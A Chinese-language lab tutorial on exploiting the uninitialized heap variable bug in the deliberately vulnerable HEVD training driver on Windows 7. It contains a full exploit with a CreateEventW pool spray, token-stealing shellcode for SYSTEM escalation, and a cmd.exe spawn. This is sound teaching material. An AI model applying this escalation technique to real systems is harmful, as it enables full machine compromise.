Windows Kernel Exploit(七) -> Uninitialized-Heap-Variable
字数 1063 2025-08-04 08:17:33
Windows内核漏洞利用:未初始化堆变量漏洞分析与利用
0x00 前言
本教程是Windows内核漏洞利用系列的第七篇,专注于未初始化堆变量漏洞的分析与利用。在学习本教程前,建议读者已经掌握以下内容:
- Windows 7 x86 sp1内核漏洞利用基础知识
- Windbg等调试工具的使用
- HEVD (HackSys Extreme Vulnerable Driver) 和 OSR Loader的配置使用
建议先阅读本系列前六篇文章:
- UAF (Use-After-Free)
- StackOverflow
- Write-What-Where
- PoolOverflow
- Null-Pointer-Dereference
- Uninitialized-Stack-Variable
0x01 漏洞原理
漏洞代码分析
我们首先分析HEVD.sys中的TriggerUninitializedHeapVariable函数:
int __stdcall TriggerUninitializedHeapVariable(void *UserBuffer) {
int result;
int UserValue;
_UNINITIALIZED_HEAP_VARIABLE *UninitializedHeapVariable;
CPPEH_RECORD ms_exc;
ms_exc.registration.TryLevel = 0;
ProbeForRead(UserBuffer, 0xF0u, 4u);
UninitializedHeapVariable = (_UNINITIALIZED_HEAP_VARIABLE *)ExAllocatePoolWithTag(PagedPool, 0xF0u, 0x6B636148u);
if (UninitializedHeapVariable) {
DbgPrint("[+] Pool Tag: %s\n", "'kcaH'");
DbgPrint("[+] Pool Type: %s\n", "PagedPool");
DbgPrint("[+] Pool Size: 0x%X\n", 0xF0);
DbgPrint("[+] Pool Chunk: 0x%p\n", UninitializedHeapVariable);
UserValue = *(_DWORD *)UserBuffer;
DbgPrint("[+] UserValue: 0x%p\n", *(_DWORD *)UserBuffer);
DbgPrint("[+] UninitializedHeapVariable Address: 0x%p\n", &UninitializedHeapVariable);
if (UserValue == 0xBAD0B0B0) {
UninitializedHeapVariable->Value = 0xBAD0B0B0;
UninitializedHeapVariable->Callback = (void (__stdcall *)())UninitializedHeapVariableObjectCallback;
memset(UninitializedHeapVariable->Buffer, 0x41, 0xE8u);
UninitializedHeapVariable->Buffer[0x39] = 0;
}
DbgPrint("[+] Triggering Uninitialized Heap Variable Vulnerability\n");
if (UninitializedHeapVariable) {
DbgPrint("[+] UninitializedHeapVariable->Value: 0x%p\n", UninitializedHeapVariable->Value);
DbgPrint("[+] UninitializedHeapVariable->Callback: 0x%p\n", UninitializedHeapVariable->Callback);
UninitializedHeapVariable->Callback();
}
result = 0;
} else {
DbgPrint("[-] Unable to allocate Pool chunk\n");
ms_exc.registration.TryLevel = 0xFFFFFFFE;
result = 0xC0000017;
}
return result;
}
安全与不安全版本对比
安全版本:
else {
DbgPrint("[+] Freeing UninitializedMemory Object\n");
DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
DbgPrint("[+] Pool Chunk: 0x%p\n", UninitializedMemory);
// Free the allocated Pool chunk
ExFreePoolWithTag((PVOID)UninitializedMemory, (ULONG)POOL_TAG);
// Secure Note: This is secure because the developer is setting 'UninitializedMemory'
// to NULL and checks for NULL pointer before calling the callback
UninitializedMemory = NULL;
}
不安全版本:
// Vulnerability Note: This is a vanilla Uninitialized Heap Variable vulnerability
// because the developer is not setting 'Value' & 'Callback' to definite known value
// before calling the 'Callback'
DbgPrint("[+] Triggering Uninitialized Memory in PagedPool\n");
// Call the callback function
if (UninitializedMemory) {
DbgPrint("[+] UninitializedMemory->Value: 0x%p\n", UninitializedMemory->Value);
DbgPrint("[+] UninitializedMemory->Callback: 0x%p\n", UninitializedMemory->Callback);
UninitializedMemory->Callback();
}
漏洞结构体
typedef struct _UNINITIALIZED_HEAP_VARIABLE {
ULONG_PTR Value;
FunctionPointer Callback;
ULONG_PTR Buffer[58];
} UNINITIALIZED_HEAP_VARIABLE, *PUNINITIALIZED_HEAP_VARIABLE;
0x02 漏洞利用
控制码分析
在HackSysExtremeVulnerableDriver.h中定位到相应的定义:
#define HEVD_IOCTL_UNINITIALIZED_MEMORY_PAGED_POOL IOCTL(0x80C)
计算控制码:
>>> hex((0x00000022 << 16) | (0x00000000 << 14) | (0x80c << 2) | 0x00000003)
'0x222033'
基础测试代码
#include <stdio.h>
#include <Windows.h>
HANDLE hDevice = NULL;
BOOL init() {
hDevice = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver",
GENERIC_READ | GENERIC_WRITE,
NULL,
NULL,
OPEN_EXISTING,
NULL,
NULL);
printf("[+]Start to get HANDLE...\n");
if (hDevice == INVALID_HANDLE_VALUE || hDevice == NULL) {
return FALSE;
}
printf("[+]Success to get HANDLE!\n");
return TRUE;
}
VOID Trigger_shellcode() {
DWORD bReturn = 0;
char buf[4] = {0};
*(PDWORD32)(buf) = 0xBAD0B0B0;
DeviceIoControl(hDevice, 0x222033, buf, 4, NULL, 0, &bReturn, NULL);
}
int main() {
if (init() == FALSE) {
printf("[+]Failed to get HANDLE!!!\n");
system("pause");
return 0;
}
Trigger_shellcode();
system("pause");
return 0;
}
堆喷射技术
我们需要利用堆喷射技术来控制回调函数指针。这里使用CreateEventA/W函数的lpName参数进行喷射:
HANDLE CreateEventA(
LPSECURITY_ATTRIBUTES lpEventAttributes,
BOOL bManualReset,
BOOL bInitialState,
LPCSTR lpName
);
关键点:
lpName参数分配在分页池中- 每个
lpName必须不同,否则会被视为同一个池 - 池大小为0xF0(加上header为0xF8)
Windows 7 Lookaside Lists结构
typedef struct _GENERAL_LOOKASIDE_POOL {
union {
union _SLIST_HEADER ListHead;
struct _SINGLE_LIST_ENTRY SingleListHead;
};
UINT16 Depth;
UINT16 MaximumDepth;
ULONG32 TotalAllocates;
union {
ULONG32 AllocateMisses;
ULONG32 AllocateHits;
};
ULONG32 TotalFrees;
union {
ULONG32 FreeMisses;
ULONG32 FreeHits;
};
enum _POOL_TYPE Type;
ULONG32 Tag;
ULONG32 Size;
union {
PVOID AllocateEx;
PVOID Allocate;
};
union {
PVOID FreeEx;
PVOIDFree;
};
struct _LIST_ENTRY ListEntry;
ULONG32 LastTotalAllocates;
union {
ULONG32 LastAllocateMisses;
ULONG32 LastAllocateHits;
};
ULONG32 Future[2];
} GENERAL_LOOKASIDE_POOL, *PGENERAL_LOOKASIDE_POOL;
完整利用代码
#include <stdio.h>
#include <Windows.h>
HANDLE hDevice = NULL;
HANDLE Event_OBJECT[256] = {0};
BOOL init() {
hDevice = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver",
GENERIC_READ | GENERIC_WRITE,
NULL,
NULL,
OPEN_EXISTING,
NULL,
NULL);
if (hDevice == INVALID_HANDLE_VALUE || hDevice == NULL) {
return FALSE;
}
return TRUE;
}
VOID ShellCode() {
__asm {
pushad
mov eax, fs:[0x124] // Get _KTHREAD from KPCR
mov eax, [eax + 0x50] // Get _EPROCESS from _KTHREAD
mov ecx, eax // Copy _EPROCESS to ECX
mov edx, 4 // EDX = system PID (4)
SearchSystemPID:
mov eax, [eax + 0xb8] // Get _EPROCESS.ActiveProcessLinks.Flink
sub eax, 0xb8 // Get next _EPROCESS
cmp [eax + 0xb4], edx // Compare PID
jne SearchSystemPID
mov edx, [eax + 0xfc] // Get SYSTEM token
mov [ecx + 0xfc], edx // Copy SYSTEM token to current process
popad
xor eax, eax // Set NTSTATUS SUCCESS
ret // Return
}
}
VOID Trigger_shellcode() {
DWORD bReturn = 0;
char buf[4] = {0};
char lpName[0xF0] = {0};
// 堆喷射准备
for (int i = 0; i < 256; i++) {
*(PDWORD)(lpName + 0x4) = (DWORD)&ShellCode;
*(PDWORD)(lpName + 0xf0 - 4) = 0;
*(PDWORD)(lpName + 0xf0 - 3) = 0;
*(PDWORD)(lpName + 0xf0 - 2) = 0;
*(PDWORD)(lpName + 0xf0 - 1) = i;
Event_OBJECT[i] = CreateEventW(NULL, FALSE, FALSE, (LPCWSTR)lpName);
}
// 触发漏洞
*(PDWORD32)(buf) = 0xBAD0B0B0 + 1;
DeviceIoControl(hDevice, 0x222033, buf, 4, NULL, 0, &bReturn, NULL);
}
int main() {
if (init() == FALSE) {
printf("[+]Failed to get HANDLE!!!\n");
system("pause");
return 0;
}
Trigger_shellcode();
// 提权后启动cmd
system("cmd.exe");
// 清理
for (int i = 0; i < 256; i++) {
if (Event_OBJECT[i] != NULL) {
CloseHandle(Event_OBJECT[i]);
}
}
if (hDevice != NULL) {
CloseHandle(hDevice);
}
return 0;
}
0x03 调试与分析
关键调试命令
-
查看池布局:
!pool 0x909FE380 -
查看shellcode位置:
u 0x00371040 -
查看回调函数指针:
dd 0x909FE380+4
预期输出
成功利用时,调试器输出应类似:
****** HACKSYS_EVD_IOCTL_UNINITIALIZED_HEAP_VARIABLE
Pool Tag: 'kcaH'
[+] Pool Type: PagedPool
[+] Pool Size: 0xF0
[+] Pool Chunk: 0x909FE380
[+] UserValue: 0xBAD0B0B1
[+] UninitializedHeapVariable Address: 0x97E80AB8
[+] Triggering Uninitialized Heap Variable Vulnerability
[+] UninitializedHeapVariable->Value: 0x00000000
[+] UninitializedHeapVariable->Callback: 0x00371040
0x04 总结
本教程详细分析了Windows内核中未初始化堆变量漏洞的原理和利用方法,关键点包括:
- 理解未初始化堆变量漏洞的本质
- 掌握Windows 7下的Lookaside Lists结构
- 使用
CreateEventW进行堆喷射的技术 - 通过控制回调函数指针实现提权
建议进一步阅读:
- Tarjei Mandt的《Kernel Pool Exploitation on Windows 7》
- Windows内核池分配机制相关文档
- HEVD驱动其他漏洞类型的分析
通过本系列教程的学习,读者应该已经掌握了Windows 7下常见内核漏洞类型的利用方法,为进一步研究现代Windows系统安全打下了坚实基础。